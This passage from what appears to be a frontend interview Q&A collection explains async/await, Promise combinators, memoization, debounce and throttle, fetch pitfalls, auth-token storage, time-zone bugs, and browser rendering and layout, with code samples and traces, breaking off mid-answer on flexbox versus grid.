  • Return type. async function f(){} returns a promise, so calling f() without await or .catch leaks exactly like a floating .then chain.

What changes

Control flow and error handling. try/catch around await catches both a synchronous throw in the body and a rejection from the awaited promise. In a .then chain a throw inside the callback becomes a rejection of the derived promise, so you need .catch at the end of the chain, and a .catch in the middle only covers what came before it.

The case that bites in review: return promise inside try does not catch.

async function a() {
  try { return Promise.reject(new Error('boom')); }  // no await
  catch (e) { return 'caught'; }
}
async function b() {
  try { return await Promise.reject(new Error('boom')); }
  catch (e) { return 'caught'; }
}
// a() -> rejected with Error: boom
// b() -> fulfilled with 'caught'

a returns the rejected promise before the catch can see it; b awaits, so the rejection lands in the catch.

Same scheduling, shown

async function f() {
  console.log('1 body');
  await null;
  console.log('3 after await');
}
console.log('0 before');
f();
console.log('2 after call');
// 0 before, 1 body, 2 after call, 3 after await

The .then version prints the same four lines in the same order: everything up to the first await is synchronous, and the resumption is a microtask.

Failure modes

  • arr.forEach(async x => { await save(x) }) returns immediately and the saves are unawaited. Use for...of for sequential work, await Promise.all(arr.map(...)) for parallel.
  • Independent awaits in series. Three 620 ms calls awaited one after another is 1.8 s; started together it is 620 ms. (Hypothetical figures.)
  • A fire-and-forget async call whose rejection nobody handles: same crash as a floating .then.

When .then is still fine: a single continuation with no branching, or a library that hands you a promise and you only want to attach a side effect. Anything with a loop, a conditional, or more than one error path reads better as await.

Curated: · Written: · Reviewed:

Q&A-7When would you use all, allSettled, race, or any?

The 60-second answer. All four take an iterable of promises and return one promise. They differ on two axes: whether a single rejection kills the result, and whether you get one value or all of them.

settles onresultempty input
allfirst rejection, else all fulfilvalues, in input order[]
allSettledall settle{status, value} or {status, reason} per input[]
racefirst settle, either kindthat value or reasonnever settles
anyfirst fulfilment, else all rejectthat valuerejects AggregateError

Decision rule: all when every piece is required to render, allSettled when partial data is still worth showing, race for a deadline, any for redundant sources where one success is enough.

// Node 20 / current browsers
const delay = (ms, v) => new Promise(res => setTimeout(() => res(v), ms));
const fail  = (ms, e) => new Promise((_, rej) => setTimeout(() => rej(e), ms));

const settled = await Promise.allSettled([
  delay(30, 'profile'),
  fail(10, new Error('orders 503')),
  delay(20, 'cart'),
]);

Trace it: at t=0 allSettled attaches a handler to each of the three promises, so all three timers are already running. At t=10 the orders promise rejects; allSettled records the reason and keeps waiting. At t=20 cart fulfils. At t=30 profile fulfils, every input has settled, and the outer promise resolves. The array is in input order, not completion order: profile finished last and is still first:

[
  { status: 'fulfilled', value: 'profile' },
  { status: 'rejected',  reason: Error: orders 503 },
  { status: 'fulfilled', value: 'cart' },
]

A deadline is race, and the timer has to be cleared or it outlives the request:

function withTimeout(promise, ms) {
  let timer;
  const deadline = new Promise((_, reject) => {
    timer = setTimeout(() => reject(new Error(`deadline ${ms}ms`)), ms);
  });
  return Promise.race([promise, deadline]).finally(() => clearTimeout(timer));
}

race does not cancel the loser. If the request loses, it keeps running and its result is discarded; pass an AbortSignal and abort in the finally if you care about the socket.

any is for redundant sources, and its failure shape is the one people get wrong:

try {
  const quote = await Promise.any([primary(), replicaA(), replicaB()]);
} catch (e) {
  // e is an AggregateError; e.errors is [primaryErr, aErr, bErr] in input order
}

Failure modes worth naming in an interview:

  • all on a dashboard of six widgets: one 503 blanks the page. That is the bug this question is really about.
  • race for timeouts without clearTimeout: the timer keeps the process alive and fires after the response is already sent.
  • any hides failures. Two replicas can be down for hours and you only learn it when the third fails too, because any rejects only once everything has. Log rejections as they arrive.
  • allSettled never rejects, so a forgotten status check renders undefined. You must branch on status for every entry.
  • Empty input: race([]) never settles, so a dynamically built list that comes back empty hangs the request forever. any([]) rejects immediately with an empty AggregateError.
  • Unhandled rejections: all four attach handlers to every input, so a losing rejection does not warn. You get a warning only if you build a promise and never pass it to a combinator.

Pick the combinator that matches what a partial failure should look like on screen, then force one input to reject and confirm the remaining data still renders with an error for the failed part.

Curated: · Written: · Reviewed:

Q&A-18How would you memoize an expensive pure function, and when is it a bad idea?

Clarify and assume. Memoization is sound only for a pure function: same arguments, same result, no side effects that must run on every call. I'll assume a single process with a per-process cache, and that the argument set has enough repetition for hits to actually happen. If either fails, the answer changes.

Core recommendation. Key the cache on a stable serialization of every argument that affects the result, bound it with an LRU policy, and measure the hit rate before you keep it. If the function is cheap, or the keys are unique per call, don't memoize.

Mechanism. A dict from key to result. On a hit you return the stored value; on a miss you compute, store, and evict the least recently used entry once you're over the bound. The bound is what separates a cache from a leak.

from collections import OrderedDict

def memoize(fn, maxsize=500):
    cache = OrderedDict()
    def wrapper(*args):
        if args in cache:
            cache.move_to_end(args)
            return cache[args]
        result = fn(*args)
        cache[args] = result
        if len(cache) > maxsize:
            cache.popitem(last=False)   # evict least recently used
        return result
    return wrapper

Trace with maxsize=2 and square = memoize(lambda n: n * n, maxsize=2):

  • square(3) miss → compute 9 → cache {3: 9}
  • square(4) miss → compute 16 → cache {3: 9, 4: 16}
  • square(3) hit → move 3 to the end → cache {4: 16, 3: 9}
  • square(5) miss → compute 25 → cache {4: 16, 3: 9, 5: 25} → over bound → evict 4 → {3: 9, 5: 25}
  • square(4) miss again → 4 was evicted, recompute 16

That last line is the point: the bound is a policy, and a bad policy turns hits back into misses.

Failure modes.

  • Unbounded cache, high-cardinality keys. Every distinct argument set adds an entry that never leaves. Detect it as monotonically rising RSS with a flat hit rate.
  • Key that doesn't capture the inputs. Keying on a subset of arguments, or on a mutable object whose identity changes each call, gives a near-zero hit rate while still paying the memory. Detect it by logging hits and misses.
  • Keying on object identity or repr. A formatter keyed on the whole input object gets a new key on every render, so the cache grows and never hits. This is the classic version of the previous point.
  • functools.lru_cache specifics. It requires hashable arguments; positional and keyword calls can land in separate entries (f(a=1, b=2) vs f(b=2, a=1)); and 1 and 1.0 hash and compare equal, so they share one entry: wrong if the function distinguishes them.
  • Impurity. If the function reads a clock, config, or the database, the cache serves stale results. Detect it by a result that changes when the inputs don't.

When it's a bad idea. Cheap functions (the dict lookup costs as much as the work), keys that are unique per call, impure functions, functions whose side effects must run every time, and memory-constrained targets. In a multi-process service each worker keeps its own cache, so the hit rate drops and the memory multiplies: measure before assuming it helps.

Worked example (illustrative numbers). A formatter memoized on the whole input object versus on a stable string key, over a one-hour session:

CacheHit ratePeak memory
unbounded, object key4%180 MB
500 entries, string key71%2 MB

The first row is the leak: it pays 180 MB for a 4% hit rate. The second is the same function with a key that actually repeats and a bound that caps the damage.

Curated: · Written: · Reviewed:

Q&A-9What is the difference between debounce and throttle, and when do you use each?

The 60-second answer. Debounce collapses a burst of events into one call that fires after the burst goes quiet; throttle caps how often a handler runs while the burst continues. Reach for debounce when only the final state matters: a search box, an autosave, validation on a field. Reach for throttle when you need to keep up with the gesture: scroll position, resize, pointermove, drag. The failure is symmetric: debounce a scroll handler and the UI freezes until the user stops; throttle a search box and you fire a request every interval for a half-typed word.

Mechanism. Both are closures over a timer or a timestamp.

// checked against Node 20 / ES2022, no dependencies
function debounce(fn, wait) {
  let timer = null;
  return (...args) => {
    clearTimeout(timer);
    timer = setTimeout(() => fn(...args), wait);
  };
}

function throttle(fn, interval) {
  let last = -Infinity;          // -Infinity so the first call fires immediately
  return (...args) => {
    const now = Date.now();
    if (now - last >= interval) {
      last = now;
      fn(...args);
    }
  };
}

Trace. Events at t = 0, 50, 100, 150, 200, 250, 300 ms (a 300 ms burst). debounce(fn, 200) and throttle(fn, 100):

t (ms)debouncethrottle
0timer resetfires (last=0)
50timer resetskipped (50 < 100)
100timer resetfires (last=100)
150timer resetskipped
200timer resetfires (last=200)
250timer resetskipped
300timer resetfires (last=300)
500fires once—

Debounce: 1 call, 200 ms after the last event. Throttle: 4 calls, evenly spaced. Same input, 4× the work.

What the trace exposes. The throttle above is leading-edge only: the event at t=300 fires, but if the burst ended at t=340 the final position is never applied. On a scroll-linked header that means the header settles one interval behind the true scroll offset: visible as a small snap when the gesture ends. Fix it with a trailing call (schedule a setTimeout for the remainder of the interval) or use requestAnimationFrame instead of a millisecond interval, which aligns the handler with the frame the browser is about to paint and self-throttles to the display refresh rate.

Debounce has the mirror problem: during continuous typing it never fires at all. Lodash's debounce(fn, wait, { maxWait }) bounds that: it guarantees a call at least every maxWait ms even while events keep arriving. That is the right shape for autosave: quiet-period debounce plus a hard ceiling.

Failure modes and how you see them.

  • Debounced scroll handler → sticky header lags for the whole gesture, then jumps. Detect by counting handler invocations during a scripted 3-second scroll: a debounced handler logs 1, a rAF-throttled one logs roughly one per frame (~180 at 60 Hz).
  • Throttle with no trailing call → the final scroll offset is never committed; a "back to top" button stays visible at the top of the page. Detect by asserting the handler ran after the last event.
  • Timer leak on unmount → clearTimeout never called, handler fires against a torn-down component. In React, return a cleanup from useEffect that clears the timer; in vanilla, keep the handle and clear it on teardown.
  • Debounced search that cancels the timer but not the request → an in-flight fetch for "rea" resolves after "react" and overwrites the results. Debounce the input, and abort the previous request with AbortController.

Choosing. Debounce for the end of activity, throttle for during it. If you need both, responsive during the gesture and correct at the end, that is throttle with a trailing call, or rAF plus a final commit on scrollend.

Curated: · Written: · Reviewed:

Q&A-8A user types quickly in a search box and results arrive out of order. How do you fix it?

What I'd say first

Assume a GET search endpoint, one results list, and a user typing at roughly 100 ms per keystroke. The bug is that responses are ordered by server latency, not by request time, so a slow early response can land after a fast later one and overwrite the correct list. The fix is to make rendering conditional on the request still being the latest: abort the in-flight request when a new keystroke starts, and guard the render with a sequence token. Abort alone is not enough: it only cancels the client's interest, and it may not fire once the body has already arrived.

Mechanism

Each keystroke fires a request. Latency varies with query cost and network, so completion order is unrelated to send order. Two independent guards:

  • AbortController cancels the previous fetch, saving bandwidth and server work.
  • A monotonically increasing sequence number compared against the latest issued request drops any response that arrives late anyway.

The token check is the correctness guarantee; abort is the optimisation.

Code (browser, ES2020)

let controller = null;
let latest = 0;

async function search(q) {
  controller?.abort();
  controller = new AbortController();
  const seq = ++latest;
  try {
    const res = await fetch(`/api/search?q=${encodeURIComponent(q)}`,
                            { signal: controller.signal });
    const data = await res.json();
    if (seq !== latest) return;            // stale: a newer query was issued
    render(data);
  } catch (err) {
    if (err.name === 'AbortError') return; // expected on supersede
    throw err;
  }
}

Trace: typing "react", server latency varies per query ("rea" 400 ms, "reac" 200 ms, "react" 90 ms):

t (ms)eventseqoutcome
0fire "rea"1in flight
80fire "reac", abort #12#1 rejects AbortError, dropped
160fire "react", abort #23#2 rejects AbortError, dropped
250"react" response (90 ms)33 === latest → render "react"

Same timeline with abort disabled: "rea" resolves at t=400, seq 1 ≠ 3, dropped by the token check; "reac" resolves at t=280, seq 2 ≠ 3, dropped. Only "react" renders. So the token check alone fixes correctness; abort removes two wasted round trips and the server work behind them.

Alternatives, and when abort is wrong

  • Debounce (trailing edge, 200–300 ms): collapses the five keystrokes of "react" into one request, but adds up to 300 ms before the first request leaves. Good when the endpoint is expensive; bad when the user expects per-keystroke feedback.
  • Throttle (leading edge, ~100 ms): first keystroke fires immediately, later ones rate-limited. More requests than debounce, less latency.
  • Server-side sequencing: client sends a monotonic id, server drops out-of-order work. Useful when the client can't abort (WebSocket, streaming).
  • Token-only, no abort: simplest, but every superseded request still costs a round trip.

Do not abort non-idempotent requests. A POST that logs a search or starts a job may already have taken effect server-side; aborting only hides the response. Let it finish and discard the result with the token check.

Failure modes

  • Abort after the body has arrived: fetch may resolve normally instead of throwing AbortError, so the token check is what saves you. Never rely on the exception alone.
  • Unmount or route change: same token pattern, or the render writes into a dead component.
  • Cache keyed only by query string: fine here, but if results depend on filters, include them in the key or you'll render stale lists.

Curated: · Written: · Reviewed:

Q&A-19Why attach one listener to a container instead of one per row?

The short answer: one listener on the container, resolve the row from event.target, and setup cost stays constant no matter how many rows exist. Per-row listeners cost O(n) at mount and again every time a row is added.

Mechanism. A click on a cell bubbles: cell → row → tbody → table → document. A listener on the container therefore sees every descendant click. event.target is the deepest element clicked; event.currentTarget is the container. Walk from the target up to the container with closest():

const list = document.querySelector('#rows');

list.addEventListener('click', (e) => {
  const row = e.target.closest('.row');
  if (!row || !list.contains(row)) return;   // padding click, or a row outside this list
  select(row.dataset.id);
});

Trace: click the <span> inside row 42 → e.target is the span → closest('.row') returns row 42 → select('42'). Click the container's padding → e.target is #rows → closest('.row') is null → return. A row appended after mount needs no new code.

Cost.

ApproachListeners at 5,000 rowsMount workRows added later
one per row5,0005,000 addEventListener calls + 5,000 retained closuresmust bind explicitly
delegated11 callwork automatically

Illustrative numbers from a 5,000-row table on a mid-range Android phone: roughly 900 ms to first render with per-row binding against roughly 120 ms delegated. The gap is the 5,000 registrations and the closures they retain, not the click handling itself.

When delegation is the wrong choice.

  • Non-bubbling events. focus, blur, scroll, mouseenter/mouseleave and load never reach the container. Bind directly, or use the bubbling equivalents (focusin/focusout) or the capture phase (addEventListener('scroll', fn, true)).
  • stopPropagation in a child. Any row handler that stops propagation silently kills the container listener for that subtree: a real hazard when third-party widgets live inside rows.
  • Shadow DOM. Events with composed: false don't cross the boundary, and e.target is retargeted to the host, so closest() won't find the inner row. Bind inside the shadow root instead.
  • Small fixed lists. Ten rows with genuinely different behaviour per row: direct binding is clearer and costs nothing.
  • Per-row teardown. If you must remove one row's handler independently, delegation can't express that; you filter inside the container handler instead.

Failure modes to watch. closest() matching a nested element that also carries the row class: scope the selector. Rows detached from the DOM while a per-row closure still references them: delegation avoids that leak entirely, which is the other half of the win. And a container listener that fires for clicks in unrelated children: the list.contains(row) guard above is what stops it.

Alternatives. Framework delegation gives the same shape for free: React attaches its listeners at the root container rather than document as of React 17. Direct binding is fine below roughly a hundred elements. Capture-phase delegation is the tool when the event you need doesn't bubble.

Curated: · Written: · Reviewed:

Q&A-21What does fetch not do for you that people assume it does?

A resolved fetch is not a successful request.

fetch resolves for any response the server actually sent, including 404 and 500. The only rejections are transport-level: DNS failure, connection reset, TLS failure, CORS rejection, and an abort. So await fetch(url) succeeding tells you a response arrived, not that the request worked. Check res.ok (true only for 200–299) or res.status before touching the body.

Beyond that, four things people assume are built in and are not:

  • Timeout. None. A server that accepts the connection and never responds hangs the promise indefinitely. You supply AbortSignal.timeout(ms) or your own AbortController.
  • Retry. None, not even for 429 or 503. Backoff and idempotency are yours.
  • Cross-origin cookies. The default is credentials: 'same-origin', so cookies are sent same-origin and dropped cross-origin. You need credentials: 'include' plus Access-Control-Allow-Credentials: true and a non-wildcard Access-Control-Allow-Origin on the server.
  • JSON. No parsing, and no useful Content-Type on the way out. res.json() is a separate step that throws SyntaxError on non-JSON, and a plain object body is coerced to the string [object Object] and sent as text/plain: you must JSON.stringify and set Content-Type: application/json yourself.

Two more that bite in production: redirects are followed by default (redirect: 'follow'), so a 302 to a login page resolves as ok: true with HTML where you expected JSON; and there is no upload progress event. Download progress means reading res.body as a stream yourself.

What that looks like

// Node 20 / current browsers
async function getJSON(url, { timeoutMs = 2000, retries = 2 } = {}) {
  for (let attempt = 0; ; attempt++) {
    try {
      const res = await fetch(url, {
        signal: AbortSignal.timeout(timeoutMs),
        credentials: 'same-origin',
      });
      if (!res.ok) {
        if (res.status >= 500 && attempt < retries) continue;
        throw new Error(`HTTP ${res.status}`);
      }
      return await res.json();
    } catch (err) {
      if (err.name === 'TimeoutError' && attempt < retries) continue;
      throw err;
    }
  }
}

Trace it against a server that returns 500 twice and then 200:

  • attempt 0: response arrives, res.ok is false, 500 >= 500 and 0 < 2 → continue. attempt becomes 1.
  • attempt 1: same, 1 < 2 → continue. attempt becomes 2.
  • attempt 2: res.ok true → res.json() returned.

Now a server that accepts the connection and never replies, with timeoutMs = 2000:

  • attempt 0: at t = 2000 ms the signal aborts, fetch rejects with a DOMException whose name is TimeoutError; 0 < 2 → continue.
  • attempt 1: same, 1 < 2 → continue.
  • attempt 2: same, 2 < 2 is false → the DOMException propagates.

The three failure paths are distinguishable, which matters for alerting:

What happenedWhat you catch
4xx/5xxyour own Error, status in the message
server never repliedDOMException named TimeoutError
DNS, reset, TLS, CORSTypeError

Log them separately, or the on-call graph shows one bar for three different problems.

Failure mode worth naming

Treating every resolved fetch as success. A 500 body gets parsed as data, the parse succeeds because the error page happens to be JSON, and the UI renders an empty state. Detection: assert res.ok at the single call site that wraps fetch, and alert on the count of non-ok responses, not on the count of rejected promises, which stays flat while the bug is live.

Curated: · Written: · Reviewed:

Q&A-22Where would you store a theme preference, an unsent draft, and an auth token?

Assumptions: single-page app, API on the same registrable domain, evergreen browsers.

The 90-second answer. Theme preference goes in localStorage: a few hundred bytes, read once at boot, and a synchronous read there costs nothing. The unsent draft goes in IndexedDB: drafts run from tens of KB to a few MB, and IndexedDB writes are async, so a large autosave doesn't block the main thread. The auth token goes in a cookie the server sets with HttpOnly; Secure; SameSite=Lax, so no script on the page can read it.

DataStoreWhy
theme preferencelocalStorage~100 bytes, sync read at boot is fine, ~5 MB quota
unsent draftIndexedDBtens of KB–MB, async writes, quota in the hundreds of MB
auth tokenHttpOnly cookie4 KB cookie limit, unreadable by JS, sent automatically

Why not the obvious alternatives.

  • Token in localStorage: readable by any script, so one XSS is account takeover. This is the default mistake.
  • Token in memory + refresh rotation: access token lives in a JS variable (5–15 min lifetime), refresh token in an HttpOnly cookie. XSS can't exfiltrate the access token from storage, but it can still call the API from the live page, so this narrows the window rather than closing it. Cost: every reload needs a silent refresh round trip (~50–200 ms) before the first authenticated call.
  • BFF pattern: the server holds the tokens and the browser gets only a session cookie. Strongest XSS posture, but it needs a server component in front of the API.
  • Token in IndexedDB: async, but still script-readable, so the same XSS exposure as localStorage with more code. No security gain.

When a cookie is the wrong call. If the API sits on a different registrable domain, SameSite=Lax/Strict cookies aren't sent on cross-site XHR, so you'd need SameSite=None; Secure, which reopens CSRF and depends on third-party cookies, which Chrome is phasing out. Native and mobile clients have no cookie jar either; there the token belongs in the platform keystore.

Failure modes.

  • localStorage token + XSS → takeover. Detect with CSP report-only violations and DOM-XSS scanning.
  • Cookie without SameSite → CSRF; a forged cross-site POST succeeds.
  • IndexedDB quota exceeded → QuotaExceededError on write, draft lost silently. Catch it and surface a save failure.
  • Safari private mode: localStorage writes can throw; wrap reads and writes in try/catch.

Verification. In the console, document.cookie must not contain the token, and the response header must read Set-Cookie: session=…; HttpOnly; Secure; SameSite=Lax.

// server: 15-minute access token, unreadable by JS
res.setHeader('Set-Cookie',
  `session=${token}; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900`);

// client: cookie rides along, no token in JS
await fetch('/api/me', { credentials: 'same-origin' });

Storage choice is a security decision, not only a convenience.

Curated: · Written: · Reviewed:

Q&A-24A user in another time zone sees the wrong date on a record. What went wrong?

The 60-second answer

Two different things are being conflated: an instant (a point on the timeline, unambiguous) and a calendar day (a wall-clock date that only means something in a named zone). The record almost certainly stores an instant, and the UI renders it in the viewer's zone, or worse, slices the UTC string. Either way the date the user sees is computed in a zone nobody chose.

Ask first: is this field a moment something happened, or a day the business assigned? created_at is an instant. invoice_date, delivery_date, birthday are calendar days. If a calendar day is stored as an instant, no amount of formatting fixes it: you have to pick the zone that owns the day and store the day itself.

Mechanism

Postgres timestamptz stores UTC microseconds and renders in the session's TimeZone, so the same row prints differently depending on who connects:

SELECT '2024-09-03 00:00:00+00'::timestamptz AT TIME ZONE 'America/New_York';
-- 2024-09-02 20:00:00

In the browser, the same instant lands on two different dates:

const t = new Date("2024-09-03T00:00:00Z");

t.toISOString().slice(0, 10);
// "2024-09-03"  <- UTC date, wrong for anyone west of Greenwich

new Intl.DateTimeFormat("en-CA", {
  timeZone: "America/New_York", dateStyle: "short"
}).format(t);
// "2024-09-02"

toISOString() is always UTC. Slicing it is the most common cause of this bug: it looks like a date, it is stable in a CI suite that runs in UTC, and it is wrong for every user in the Americas after 20:00 Eastern.

Failure modes

  • SSR/hydration mismatch: the server renders in UTC, the client re-renders in local time, and the date changes under the user. React logs a hydration error; users see a flicker.
  • new Date("2024-09-03") parses as UTC midnight (date-only ISO forms are UTC per spec), while new Date("2024-09-03T00:00:00") parses as local midnight. Same-looking input, different day.
  • DST: a calendar day stored as local midnight in a zone whose transition happens at midnight (Chile, Cuba, Iran) has no 00:00 on that date, and naive arithmetic lands on the previous or next day.
  • Reporting: a daily revenue rollup grouped by UTC date disagrees with finance's Eastern-day rollup by a few hours of orders every evening.

What to do

Store instants as timestamptz (or epoch millis) and format with an explicit timeZone and locale: never the runtime default. Store calendar days as date with no zone, or as a date plus the zone name if the day belongs to a business region. Never convert a calendar day to an instant at midnight UTC.

Detection

Log the raw value, the zone used, and the rendered string together. Pin TZ in tests and run the suite twice, once with TZ=UTC and once with TZ=America/Los_Angeles; a date assertion that passes in one and fails in the other is this bug.

Curated: · Written: · Reviewed:

Q&A-51What happens between the HTML arriving and the first pixels appearing?

The browser parses the HTML into a DOM, waits for the CSSOM, merges the two into a render tree, computes geometry in layout, records draw commands in paint, and hands layers to the compositor. First paint is the first frame the compositor puts on screen; First Contentful Paint is the first frame containing text or an image. Two things stall that path: stylesheets and synchronous scripts.

The mechanism, step by step

  1. Response → bytes → parser. The HTML parser is incremental: it tokenizes and builds the DOM as bytes arrive, so a slow server delays first paint even with perfect markup.
  2. Preload scanner. While the main parser is blocked, a second scanner keeps reading ahead and starts fetches for <script>, <link> and <img>. That is why a stylesheet in the head is usually already downloading by the time the parser reaches it.
  3. CSSOM. Every stylesheet in the head is render-blocking: the browser will not build the render tree until all of them are parsed, because a later rule can change an earlier element's computed style. CSS also blocks script execution: a <script> after a stylesheet waits for the CSSOM.
  4. Scripts. A classic <script> stops the parser at the tag until it downloads and runs. defer downloads in parallel and runs in order after parsing, before DOMContentLoaded. async runs as soon as it downloads, order not guaranteed. type="module" is deferred by default.
  5. Render tree → layout → paint → composite. The render tree holds only rendered nodes (display: none subtrees are skipped). Layout computes boxes, paint emits a display list, the compositor rasterizes layers, and the first frame appears.

What blocks what

ResourceBlocks HTML parsingBlocks first paint
stylesheet in <head>noyes
classic <script> in <head>yesyes
<script defer>nono
<script async>nono
@import inside CSSnoyes, and serializes the fetch

A worked trace (hypothetical: mid-range Android, 4× CPU throttle, Slow 4G)

  • 0 ms: HTML starts arriving, parser begins.
  • 40 ms: parser reaches <link rel="stylesheet" href="main.css"> (60 KB). Render-blocking.
  • 45 ms: preload scanner has already started main.css and the hero image.
  • 60 ms: parser reaches a synchronous analytics <script> (30 KB) in the head. Parsing stops.
  • 300 ms: analytics.js finishes downloading and executing; parsing resumes.
  • 340 ms: CSSOM complete, render tree built.
  • 380 ms: layout done.
  • 400 ms: first paint.

Move that one script to defer and the parser never stops: first paint lands around 160 ms. The 240 ms the script held the parser is the whole difference.

Failure modes and how to catch them

  • Third-party sync script in the head. Detect it in a DevTools performance trace as a long Parse HTML gap with script evaluation inside it, or via Lighthouse's "Eliminate render-blocking resources" audit.
  • @import chains. Each import is discovered only after its parent CSS parses, so the fetches serialize. Detect it in the network waterfall as a staircase of CSS requests.
  • Web fonts without font-display. Text stays invisible until the font loads. Detect it by comparing FCP against the font request's finish time in the trace.
  • Late-discovered hero image. No preload, so the fetch starts only when the parser reaches the tag. Detect it as a large gap between HTML start and the image request.

Measure FCP directly rather than eyeballing a trace:

new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(entry.name, entry.startTime); // "first-contentful-paint" 412.3
  }
}).observe({ type: 'paint', buffered: true });

startTime is milliseconds since navigation start, so it lines up with the trace numbers above.

Trade-offs

Inlining critical CSS removes a round trip but duplicates rules and cannot be cached separately: it pays off for a small first-screen stylesheet and hurts when the same CSS is reused across pages. async suits independent scripts like analytics; defer is right when order matters. Preloading too much competes with the HTML itself for bandwidth on a slow connection.

Curated: · Written: · Reviewed:

Q&A-52What is the difference between layout, paint, and composite, and why does it matter?

The 90-second version

The browser turns a DOM change into pixels in four stages: style, layout, paint, composite. Layout computes geometry, where each box sits and how big it is. Paint fills in pixels for the regions that changed. Composite assembles the painted layers into the final frame, and it runs on the compositor thread, not the main thread.

Which stages a change touches depends on the property. Geometry properties (width, height, top, left, margin, font-size) invalidate layout, so everything downstream reruns. Visual-only properties (color, background-color, box-shadow) skip layout and go straight to paint. transform and opacity, when the element has its own composited layer, can be applied by the compositor alone: no layout, no paint, no main-thread work per frame.

That last point is why this matters. Layout and paint run on the main thread, competing with your JavaScript, your event handlers, your hydration. Composite runs on its own thread. An animation that only composites keeps running at 60 fps even when the main thread is blocked for 200 ms. An animation that triggers layout stutters in lockstep with whatever else the main thread is doing.

ChangeStyleLayoutPaintComposite
width, height, top, margin, font-sizeyesyesyesyes
color, background-color, box-shadowyes—yesyes
transform, opacity on a composited layeryes——yes

The failure mode I check for first: forced synchronous layout

Reading a layout property (offsetWidth, getBoundingClientRect, getComputedStyle) flushes pending style and layout immediately. Interleaving reads and writes in a loop turns one layout into N.

// Each iteration: read forces a flush, write invalidates it again.
const items = document.querySelectorAll('.row');
for (const el of items) {
  el.style.width = el.offsetWidth + 10 + 'px';
}

Trace it: iteration 1 reads offsetWidth → the dirty tree is flushed, full-document layout runs. The write to style.width marks layout dirty again. Iteration 2 reads → flush again. With 500 rows that is 500 full-document layouts inside one task. At roughly 0.3–1 ms each on a mid-range phone (illustrative, but the right order of magnitude for a non-trivial tree), that is 150–500 ms of blocking work before the browser paints anything.

Batch the reads, then the writes:

const items = document.querySelectorAll('.row');
const widths = Array.from(items, el => el.offsetWidth); // one flush, then clean reads
items.forEach((el, i) => { el.style.width = widths[i] + 10 + 'px'; }); // one invalidation

Trace: the first read flushes once; the remaining 499 reads hit a clean tree and cost nothing. The write pass invalidates layout once, and it is recomputed once at the next frame. One layout instead of 500.

Other failure modes, and how each shows up

  • Layer explosion. Every promoted element gets its own texture. Promoting hundreds of list rows costs GPU memory and raster time; on mobile that shows up as jank or a tab crash, not as a slow frame. Detect with Rendering → Layer borders, and check the Layers panel for texture memory.
  • Paint storms. Animating box-shadow or a gradient background on a large element repaints that whole area every frame. Detect with Rendering → Paint flashing: a full-screen green flash per frame is the tell.
  • will-change left on permanently. The layer and its memory are never released. Add it just before the animation and remove it on animationend/transitionend.
  • Composited text. Chrome disables subpixel (LCD) antialiasing on composited layers, so promoted text can look slightly different. Usually acceptable for a moving element, not for body copy.
  • A requestAnimationFrame loop writing transform. The composite is off-thread, but the style write and commit are still on the main thread. CSS transitions and the Web Animations API avoid that; a rAF loop does not.

How I would verify it

Record a Performance profile during the animation and look for Layout or Update Layer Tree events inside the animated frames. If Layout appears, the animation is not compositor-only, whatever the CSS says. Cross-check with the FPS meter and Paint flashing.

When not to reach for compositing

Don't promote everything. If the animated element has a huge paint area, raster cost dominates and the composite win is irrelevant: bound the work with contain: layout paint or content-visibility: auto instead. And if the animation is driven by data that changes every frame, fix the data flow before you fix the property.

Curated: · Written: · Reviewed:

Q&A-54Why does an element with a set width end up wider than expected?

The 60-second answer

width sets the content box by default. Padding and border are painted outside it, so they add to the rendered size. A card declared width: 300px with padding: 16px and a 1px border renders at 334px: 300 + 2×16 + 2×1. That is box-sizing: content-box, the initial value, and it is not inherited, which is why the fix is a universal reset rather than a rule on html.

/* initial value: content-box */
.card { width: 300px; padding: 16px; border: 1px solid #ccc; }
/* border box = 300 + 32 + 2 = 334px */

*, *::before, *::after { box-sizing: border-box; }
/* same rule now: content box = 300 - 32 - 2 = 266px, border box = 300px */

Trace: under border-box the used content width is max(0, 300 - 32 - 2) = 266px, so the border box is exactly 300px. Under content-box the used content width is 300px and the border box is 334px. Same declaration, two rendered sizes.

Where border-box still surprises you

  • It cannot go below padding + border. width: 20px; padding: 0 16px; border: 1px under border-box gives content max(0, 20 - 34) = 0 and a rendered 34px. The declared width is a floor, not a cap.
  • Margins are never inside the box. box-sizing has no effect on them.
  • min-width and max-width follow the same box-sizing, so max-width: 300px under content-box still renders 334px.
  • Percentage padding resolves against the containing block's inline size, not the element's own width: 10% horizontal padding on a 300px element inside a 1000px container is 100px, not 30px.
  • width does nothing on a non-replaced inline element; it needs display: block, inline-block, flex or grid.
  • Table cells treat width as a suggestion: the table layout algorithm can widen them.
  • Flex items have min-width: auto, so a flex: 1 item refuses to shrink below its min-content width. min-width: 0 is the fix. This looks identical to a box-sizing bug but is unrelated.

Detecting it

DevTools' computed box-model diagram shows content, padding, border and margin separately: read the border-box number, not the declared one. In script, getBoundingClientRect().width returns the border box as a float with transforms applied; offsetWidth returns the same rounded to an integer. Neither includes margins.

What I'd say in the interview

Default is content-box; padding and border add outside; the global *, *::before, *::after { box-sizing: border-box } reset makes width mean the visible box. Then check the three things border-box does not cover: margins, the padding+border floor, and flex min-width: auto.

Curated: · Written: · Reviewed:

Q&A-55When do you reach for flexbox and when for grid?

Reach for flexbox when the layout is one-dimensional and the content should decide how much space each item gets. Reach for grid when the layout is two-dimensional and the container should decide the structure. "One axis vs two" is the shorthand; the question that actually decides it is who owns sizing: the items or the container.

Assumptions I'd state before answering: evergreen browsers, no IE11. If IE11 is in scope, grid means the -ms- prefixed syntax and a different set of trade-offs, and I'd want to know that before choosing.

Decision criteria

  • Content-driven sizing along a single axis → flexbox. A toolbar, a button row, a tag list, a card header: items size themselves and flex-grow distributes whatever is left.
  • Container-defined tracks in both axes → grid. A page shell, a dashboard, a card grid: you know the columns before you know the items.
  • Items that must align across rows and columns → grid. Flexbox aligns items within a line; align-content spaces the lines themselves, but there is no way to make an item in the second wrapped line line up with a column in the first.
  • Overlap → grid. grid-area items can occupy the same cells; flexbox needs positioning to do it.
  • Wrapping by content → flexbox flex-wrap. Wrapping by available width into equal tracks → grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)).

The failure that decides most real cases

A toolbar with a search field and two buttons:

.toolbar { display: flex; gap: 8px; align-items: center; }
.toolbar .search { flex: 1; min-width: 0; }

